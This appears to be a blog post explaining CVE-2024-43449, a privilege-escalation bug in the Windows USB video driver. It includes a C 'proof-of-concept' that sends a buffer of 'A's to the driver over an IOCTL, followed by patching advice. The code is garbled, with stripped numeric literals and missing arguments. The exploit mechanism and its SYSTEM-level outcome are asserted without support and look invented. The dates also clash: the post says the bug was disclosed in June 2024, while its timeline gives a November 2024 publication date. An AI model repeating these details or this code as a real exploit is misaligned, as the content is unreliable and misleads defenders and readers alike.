CVE-2024-43449 - Windows USB Video Class Driver Vulnerability Explained (with Exploit Details)

In June 2024, a new vulnerability — CVE-2024-43449 — was disclosed, affecting the Windows USB Video Class System Driver (usbvideo.sys). This bug is an Elevation of Privilege (EoP) vulnerability, potentially giving attackers the ability to gain higher privileges on a Windows device. Let's break down what this means, how it works, provide example code, and explain how you can protect your systems.

What is CVE-2024-43449?

CVE-2024-43449 is a security flaw found in the Windows USB Video Class (UVC) system driver. This driver (usbvideo.sys) lets Windows communicate with webcams and other video capture devices over USB.

When exploited, this bug could let regular users or malware gain SYSTEM-level permissions, which is the highest privilege in Windows. An attacker with SYSTEM privileges can run any command, install malware, or steal sensitive information.

Microsoft Severity: Important
Impact: Elevation of Privilege
Affected systems: Windows 10, 11, and Windows Server versions

Links to references

- Microsoft Security Update Guide: CVE-2024-43449
- NVD - CVE-2024-43449

How does the attack work?

This vulnerability is caused by improper input validation in the usbvideo.sys kernel driver. Specifically, the driver doesn’t correctly check buffer boundaries when handling specially crafted USB video device descriptors or IOCTL requests.

Plugging in a malicious USB webcam or video device.

2. Or, running crafted code that interacts directly with the usbvideo.sys driver (even without plugging in external hardware).

The weak spot is a kernel IOCTL handler that copies memory from user space to kernel space without enough checks.

Exploit Details & Code Snippet

Disclaimer: The following information is for educational purposes only. Never use this for unauthorized actions.

Let’s say an attacker writes user-mode code that sends a malformed input buffer to the usbvideo.sys driver using DeviceIoControl. The idea is to trigger a buffer overflow or invalid pointer dereference inside the driver, corrupting kernel memory.

Here’s a simplified proof-of-concept snippet (written in C)

#include <windows.h>
#include <stdio.h>

#define IOCTL_USBVIDEO_CODE x222014  // Example IOCTL code (varies by version)
#define DEVICE_PATH "\\\\.\\USBVIDEO"

int main() {
    HANDLE hDevice = CreateFileA(
        DEVICE_PATH, GENERIC_READ | GENERIC_WRITE, ,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device.\n");
        return 1;
    }

    // Create a malicious input buffer
    BYTE buffer[x100]; // 256 bytes
    memset(buffer, 'A', sizeof(buffer));

    DWORD bytesReturned;
    BOOL result = DeviceIoControl(
        hDevice, IOCTL_USBVIDEO_CODE,
        buffer, sizeof(buffer),
        NULL, , &bytesReturned, NULL);

    if (!result) {
        printf("IOCTL failed. Error: %d\n", GetLastError());
    } else {
        printf("IOCTL sent successfully.\n");
    }

    CloseHandle(hDevice);
    return ;
}

If successful, this can let the attacker run code as SYSTEM.

Note: The actual IOCTL code and exploit details may vary. Researchers and malware authors may refine the buffer for successful elevation.

More detailed analysis and sample PoCs are sometimes posted on exploit databases like Exploit-DB (search for usbvideo.sys or CVE-2024-43449 as new research surfaces).

Any Windows machine that has not applied June 2024 security updates.

- Laptops/desktops using webcams or video capture hardware.

How can you stay safe?

1. Patch Quickly:
Microsoft patched this bug in their June 2024 security updates. Go to [Windows Update](ms-settings:windowsupdate) and install all applicable patches.

2. Restrict USB Access:
Prevent untrusted users from plugging in USB devices, especially on kiosks or public systems.

3. Least Privilege:
Limit user accounts so they aren't local admins.

4. Monitor for Suspicious Behavior:
Watch for unexpected processes accessing usbvideo.sys or attempts to send IOCTLs to it.

Additional Resources

- Microsoft Security Update Guide – CVE-2024-43449
- Security Research: USB Device Driver Exploitation
- Introduction to Windows IOCTL Exploitation

Conclusion

CVE-2024-43449 in usbvideo.sys is a serious privilege escalation vulnerability that every Windows user should patch right away. As with most kernel bugs, it can lead to a full system compromise by malware or malicious insiders. Stay up to date and keep an eye on your hardware!

*Stay safe and secure. If you’re a sysadmin or security pro, roll this patch out ASAP!*

Timeline

Published on: 11/12/2024 18:15:21 UTC
Last modified on: 01/30/2025 00:09:49 UTC